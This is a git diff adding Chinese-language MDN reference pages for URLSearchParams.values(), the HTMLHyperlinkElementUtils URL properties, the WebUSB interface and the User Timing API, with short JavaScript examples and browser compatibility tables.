+// Retrieve params via url.search, passed into ctor
+var params = new URLSearchParams(url.search);
+var params2 = new URLSearchParams(url2.search);
+
+// Pass in a sequence
+var params3 = new URLSearchParams([["foo", 1],["bar", 2]]);
+
+// Pass in a record
+var params4 = new URLSearchParams({"foo" : 1 , "bar" : 2});
+
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(49.0)}}{{CompatGeckoDesktop("29.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
USVString or sequence for init object{{CompatVersionUnknown}}{{CompatGeckoDesktop("53")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
Record for init object{{CompatNo}}{{CompatGeckoDesktop("54")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(49.0)}}{{CompatGeckoMobile("29.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
USVString  of sequence for init object{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("53")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
Record for init object{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("54")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/zh-cn/web/api/urlsearchparams/values/index.html b/files/zh-cn/web/api/urlsearchparams/values/index.html new file mode 100644 index 0000000000..a9e476bc83 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/values/index.html @@ -0,0 +1,57 @@ +--- +title: URLSearchParams.values() +slug: Web/API/URLSearchParams/values +tags: + - API + - Experimental + - Iterator + - Method + - Reference + - URL API + - URLSearchParams +translation_of: Web/API/URLSearchParams/values +--- +

{{APIRef("URL API")}}

+ +

URLSearchParams.values()方法返回一个{{jsxref("Iteration_protocols",'iterator')}},该遍历器允许遍历对象中包含的所有值。这些值都是{{domxref("USVString")}}对象。

+ +
+

注意: 该方法在Web Workers中也可使用

+
+ +

语法

+ +
searchParams.values();
+ +

返回值

+ +

返回一个{{jsxref("Iteration_protocols","iterator")}}.

+ +

例子

+ +
// 创建一个测试用URLSearchParams对象
+var searchParams = new URLSearchParams("key1=value1&key2=value2");
+
+// 输出值
+for(var value of searchParams.values()) {
+  console.log(value);
+}
+ +

结果如下:

+ +
value1
+value2
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.URLSearchParams.values")}}

+
+ +

另请参考

+ + diff --git a/files/zh-cn/web/api/urlutils/hash/index.html b/files/zh-cn/web/api/urlutils/hash/index.html new file mode 100644 index 0000000000..5d8cc21f43 --- /dev/null +++ b/files/zh-cn/web/api/urlutils/hash/index.html @@ -0,0 +1,109 @@ +--- +title: HTMLHyperlinkElementUtils.hash +slug: Web/API/URLUtils/hash +tags: + - HTMLHyperlinkElementUtils.hash +translation_of: Web/API/HTMLHyperlinkElementUtils/hash +--- +

{{ APIRef("URLUtils") }}

+ +

HTMLHyperlinkElementUtils.hash 属性返回一个包含“#”的 {{domxref("DOMString")}} , 后跟URL的片段标识符。

+ +

片段没有百分比解码。如果URL没有包含片段标识符,这个属性为一个空的字符串, "".

+ +

Syntax

+ +
string = object.hash;
+object.hash = string;
+
+ +

Examples

+ +
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> element be in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.hash; // Returns:'#youhou'
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface. Also, from Gecko 29 to Gecko 40, the returned value was incorrectly percent-decoded.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/urlutils/href/index.html b/files/zh-cn/web/api/urlutils/href/index.html new file mode 100644 index 0000000000..cff669766d --- /dev/null +++ b/files/zh-cn/web/api/urlutils/href/index.html @@ -0,0 +1,108 @@ +--- +title: HTMLHyperlinkElementUtils.href +slug: Web/API/URLUtils/href +tags: + - HTMLHyperlinkElementUtils.href +translation_of: Web/API/HTMLHyperlinkElementUtils/href +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.href 属性是一个包含整个URL的 {{domxref("USVString")}}。

+ +

Syntax

+ +
string = object.href;
+object.href = string;
+
+ +

Examples

+ +
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moved either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/urlutils/index.html b/files/zh-cn/web/api/urlutils/index.html new file mode 100644 index 0000000000..e8d6c719d9 --- /dev/null +++ b/files/zh-cn/web/api/urlutils/index.html @@ -0,0 +1,83 @@ +--- +title: URLUtils +slug: Web/API/URLUtils +translation_of: Web/API/HTMLHyperlinkElementUtils +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}}

+ +

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

+ +

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

+ +

属性

+ +
+

注意:This interface doesn't inherit any property.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.href")}}
+
This is a {{domxref("USVString")}} containing the whole URL.
+
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
+
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
+
{{domxref("HTMLHyperlinkElementUtils.host")}}
+
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
+
This is a {{domxref("USVString")}} containing the domain of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.port")}}
+
This is a {{domxref("USVString")}} containing the port number of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
+
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.search")}}
+
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hash")}}
+
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.username")}}
+
This is a {{domxref("USVString")}} containing the username specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.password")}}
+
This is a {{domxref("USVString")}} containing the password specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
+
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
+
+ +

方法

+ +
+

注意:This interface doesn't inherit any method.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
+
This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLHyperlinkElementUtils")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/urlutils/origin/index.html b/files/zh-cn/web/api/urlutils/origin/index.html new file mode 100644 index 0000000000..d0f8d926ec --- /dev/null +++ b/files/zh-cn/web/api/urlutils/origin/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.origin +slug: Web/API/URLUtils/origin +tags: + - HTMLHyperlinkElementUtils.origin +translation_of: Web/API/HTMLHyperlinkElementUtils/origin +--- +

{{APIRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.origin 只读属性是一个 {{domxref("USVString")}} ,其中包含代表URL的原始码的Unicode序列化,即:

+ + + +

{{AvailableInWorkers}}

+ +

Syntax

+ +
string = object.origin;
+
+ +

Examples

+ +
// On this page, returns the origin
+var result = window.location.origin; // Returns:'https://developer.mozilla.org'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[4] Before Gecko 49, results for URL using the blob scheme incorrectly returned null.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/urlutils/password/index.html b/files/zh-cn/web/api/urlutils/password/index.html new file mode 100644 index 0000000000..99e9944875 --- /dev/null +++ b/files/zh-cn/web/api/urlutils/password/index.html @@ -0,0 +1,104 @@ +--- +title: HTMLHyperlinkElementUtils.password +slug: Web/API/URLUtils/password +tags: + - HTMLHyperlinkElementUtils.password +translation_of: Web/API/HTMLHyperlinkElementUtils/password +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.password property 属性是一个{{domxref("USVString")}} ,包含域名前面指定的密码。

+ +

如果在没有首先设置用户名属性的情况下设置,则会静默失败。

+ +

Syntax

+ +
string = object.password;
+object.password = string;
+
+ +

Examples

+ +
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.password; // Returns:'flabada'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/urlutils/pathname/index.html b/files/zh-cn/web/api/urlutils/pathname/index.html new file mode 100644 index 0000000000..203da5393a --- /dev/null +++ b/files/zh-cn/web/api/urlutils/pathname/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLHyperlinkElementUtils.pathname +slug: Web/API/URLUtils/pathname +tags: + - HTMLHyperlinkElementUtils.pathname +translation_of: Web/API/HTMLHyperlinkElementUtils/pathname +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.pathname 属性是一个 {{domxref("USVString")}} ,其中包含一个初始的'/'后跟URL的路径。

+ +

Syntax

+ +
string = object.pathname;
+object.pathname = string;
+
+ +

Examples

+ +
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> element be in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.pathname; // Returns:'/en-US/docs/HTMLHyperlinkElementUtils.pathname'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoDesktop("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoMobile("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[4] Before Firefox 53, the pathname and search HTMLHyperLinkElementUtils properties returned the wrong parts of the URL. For example, for a URL of http://z.com/x?a=true&b=false, pathname would return "/x?a=true&b=false" and search would return "", rather than "/x" and "?a=true&b=false" respectively. This has now been fixed.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/urlutils/search/index.html b/files/zh-cn/web/api/urlutils/search/index.html new file mode 100644 index 0000000000..4c9c8ae554 --- /dev/null +++ b/files/zh-cn/web/api/urlutils/search/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.search +slug: Web/API/URLUtils/search +tags: + - HTMLHyperlinkElementUtils.search +translation_of: Web/API/HTMLHyperlinkElementUtils/search +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.search 属性是一个搜索字符串,也叫做查询字符串, 它是一个 {{domxref("USVString")}} ,包含 '?' 和随后的 URL 参数。

+ +

语法

+ +
string = object.search;
+object.search = string;
+
+ +

示例

+ +
// 让一个
+// <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123" />
+//  元素在文档里
+
+let anchor = document.getElementById("myAnchor");
+let result = anchor.search;
+// 返回:'?q=123'
+
+ +

 

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
+
+ +

[1] 自Chrome 52起,该属性移至{{domxref('URL')}}

+ +

[2] 虽然没有被分在一个独立的抽象接口,但该方法可以在实现了它的那些接口上直接使用,如果支持该接口。

+ +

[3] 从Gecko 22 到 Gecko 44,该属性在 URLUtils mixin 上。它已经被移到 HTMLHyperlinkElementUtils mixin,或者直接在这个接口上。

+ +

[4] 在 Firefox 53之前, pathname search HTMLHyperLinkElementUtils 属性返回的URL部分是错误的。例如,对一个值为 http://z.com/x?a=true&b=false 的URL,pathname 会返回"/x?a=true&b=false" ,search 会返回 "", 而不是各自返回 "/x" 和"?a=true&b=false" 。这已经被修正了。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/urlutils/tostring/index.html b/files/zh-cn/web/api/urlutils/tostring/index.html new file mode 100644 index 0000000000..172ffda98b --- /dev/null +++ b/files/zh-cn/web/api/urlutils/tostring/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLHyperlinkElementUtils.toString() +slug: Web/API/URLUtils/toString +tags: + - HTMLHyperlinkElementUtils.toString() + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/toString +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.toString() 方法返回一个包含整个URL的 {{domxref("USVString")}} 。它是{{domxref("HTMLHyperlinkElementUtils.href")}} 的一个只读版本。

+ +

句法

+ +
string = object.toString();
+ +

范例

+ +
/*
+Let's imagine an
+<a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString">
+ element is in the document
+*/
+var anchor = document.getElementById("myAnchor");
+var result = anchor.toString();
+// Returns: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[2] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/urlutils/username/index.html b/files/zh-cn/web/api/urlutils/username/index.html new file mode 100644 index 0000000000..2e7a101f9f --- /dev/null +++ b/files/zh-cn/web/api/urlutils/username/index.html @@ -0,0 +1,102 @@ +--- +title: HTMLHyperlinkElementUtils.username +slug: Web/API/URLUtils/username +tags: + - HTMLHyperlinkElementUtils.username +translation_of: Web/API/HTMLHyperlinkElementUtils/username +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.username 属性是一个 {{domxref("USVString")}}包含域名前面指定的用户名。

+ +

Syntax

+ +
string = object.username;
+object.username = string;
+
+ +

Examples

+ +
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.username; // Returns:'anonymous'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/usb/index.html b/files/zh-cn/web/api/usb/index.html new file mode 100644 index 0000000000..6bc95b71f2 --- /dev/null +++ b/files/zh-cn/web/api/usb/index.html @@ -0,0 +1,53 @@ +--- +title: USB +slug: Web/API/USB +translation_of: Web/API/USB +--- +

{{SeeCompatTable}}{{APIRef("WebUSB API")}}

+ +

WebUSB API 接口提供了从网页查找和连接USB设备的属性和方法

+ +

属性

+ +

None.

+ +

Event handlers

+ +
+
{{domxref("USB.onconnect")}}
+
每当连接到先前配对的设备时,调用此事件处理器。
+
{{domxref("USB.ondisconnect")}}
+
每当配对设备断开连接时,调用此事件处理器。
+
+ +

方法

+ +
+
{{domxref("USB.getDevices()")}}
+
Returns a {{jsxref("Promise")}} that resolves with an array of {{domxref("USBDevice")}} objects for paired attached devices.
+
{{domxref("USB.requestDevice()")}}
+
Returns a {{jsxref("Promise")}} that resolves with an instance of {{domxref("USBDevice")}} if the specified device is found. Calling this function triggers the user agent's pairing flow.
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web USB','#enumeration','USB')}}{{Spec2('Web USB')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.USB")}}

diff --git a/files/zh-cn/web/api/user_timing_api/index.html b/files/zh-cn/web/api/user_timing_api/index.html new file mode 100644 index 0000000000..e864ea244c --- /dev/null +++ b/files/zh-cn/web/api/user_timing_api/index.html @@ -0,0 +1,94 @@ +--- +title: 自定义时间测量API +slug: Web/API/User_Timing_API +translation_of: Web/API/User_Timing_API +--- +
{{DefaultAPISidebar("自定义时间测量API")}}
+ +

User Timing接口允许开发者在浏览器性能时间线中创建针对特定应用的 {{domxref("DOMHighResTimeStamp","时间戳")}}。有两种自定义时间测量事件类型:"mark" {{domxref("PerformanceEntry.entryType","事件类型")}}和"measure" {{domxref("PerformanceEntry.entryType","事件类型")}}。

+ +

mark事件可以指定任意的名字并且可以在放在应用的任何位置,measure事件也可以指定为任意的名字,但是需要放在两个mark之间,所以它实际上是两个mark的中间点。

+ +

此文档提供了对markmeasure{{domxref("PerformanceEntry.entryType","性能事件类型")}}的概览,包括四个拓展了{{domxref("Performance")}}接口的User Timing方法。 想要了解这两种性能事件类型和相关方法的更多详细内容和示例代码,请查阅使用自定义时间测量API

+ +

性能标记

+ +

性能标记是一个由应用创建并指定名称的{{domxref("PerformanceEntry","性能条目")}}。这个标记是浏览器性能时间线上的一个{{domxref("DOMHighResTimeStamp","时间戳")}}。

+ +

创建一个性能标记

+ +

{{domxref("Performance.mark","performance.mark()")}}方法被用来创建一个性能标记。这个方法需要一个参数,标记的名称(例如performance.mark("mark-1"))。

+ +

标记的{{domxref("PerformanceEntry","性能入口")}}包含以下属性值:

+ + + +

检索一个性能标记

+ +

{{domxref("Performance")}}接口有三个方法可以用来检索标记:

+ +
+
{{domxref("Performance.getEntries","performance.getEntries()")}}
+
返回性能时间线上的所有{{domxref("PerformanceEntry","性能条目")}}。通过筛选{{domxref("PerformanceEntry.entryType","entryType")}}属性为"mark"的条目来获取所有标记条目。
+
{{domxref("Performance.getEntriesByType","performance.getEntriesByType(entryType)")}}
+
返回性能事件线上具有指定entryType的{{domxref("PerformanceEntry","性能条目")}},通过将entryType设置为"mark"来获取所有标记条目。
+
{{domxref("Performance.getEntriesByName","performance.getEntriesByName(name, entryType)")}}
+
返回性能时间线上具有指定nameentryType的{{domxref("PerformanceEntry","性能条目")}} 。将entryType设置为"mark"来获得所有的标记条目(通过指定name来检索更具体的条目)。
+
+ +

移除性能标记

+ +

想要从性能事件线上移除一个特定标记,调用performance.clearMarks(name)name是想要移除的标记的名称。如果这个方法被调用时没有传入任何参数,那么性能时间线上所有标记类型的条目都会被移除。

+ +

性能测量

+ +

measure事件同样由程序指定名称,但是它被放在两个标记之间因此实际上是两个标记间的中间点。

+ +

创建一个性能测量

+ +

测量通过调用performance.measure(measureName, startMarkName, endMarkName)来创建,measureName指定了该测量的名称,startMarkNameendMarkName分别指定了性能时间线上该测量前后的两个标记的名称。

+ +

测量{{domxref("PerformanceEntry","性能条目")}}包含以下属性值:

+ + + +

检索性能测量

+ +

{{domxref("Performance")}}接口有三个方法可以检索一个测量:

+ +
+
{{domxref("Performance.getEntries","performance.getEntries()")}}
+
返回性能时间线上所有的{{domxref("PerformanceEntry","性能条目")}}。通过筛选{{domxref("PerformanceEntry.entryType","entryType")}}属性为"measure"的条目来获取所有测量条目。
+
{{domxref("Performance.getEntriesByType","performance.getEntriesByType(entryType)")}}
+
返回性能事件线上指定entryType的{{domxref("PerformanceEntry","性能条目")}},通过将entryType设置为"measure"来获取所有的测量条目。
+
{{domxref("Performance.getEntriesByName","performance.getEntriesByName(name, entryType)")}}
+
返回性能时间线上具有指定 nameentryType的{{domxref("PerformanceEntry","性能项目")}},将entryType设置为"measure"来获取所有测量条目(通过指定name参数来检索更具体的条目)。
+
+ +

移除性能测量

+ +

想要从性能时间线上移除一个测量,调用performance.clearMeasures(name)name 是要移除的测量的名称。如果该方法被调用时没有传入任何参数,那么性能时间线上所有的测量都会被移除。

+ +

互操作性

+ +

如{{domxref("Performance")}}接口的浏览器兼容性表所示,User Timing 方法被大多数桌面和移动浏览器(唯一的例外是桌面Safari和移动版Safari,Safari Technology Preview 24已经支持该方法)。

+ +

想要测试你的浏览器是否支持该API,运行perf-api-support程序。

+ +

相关内容

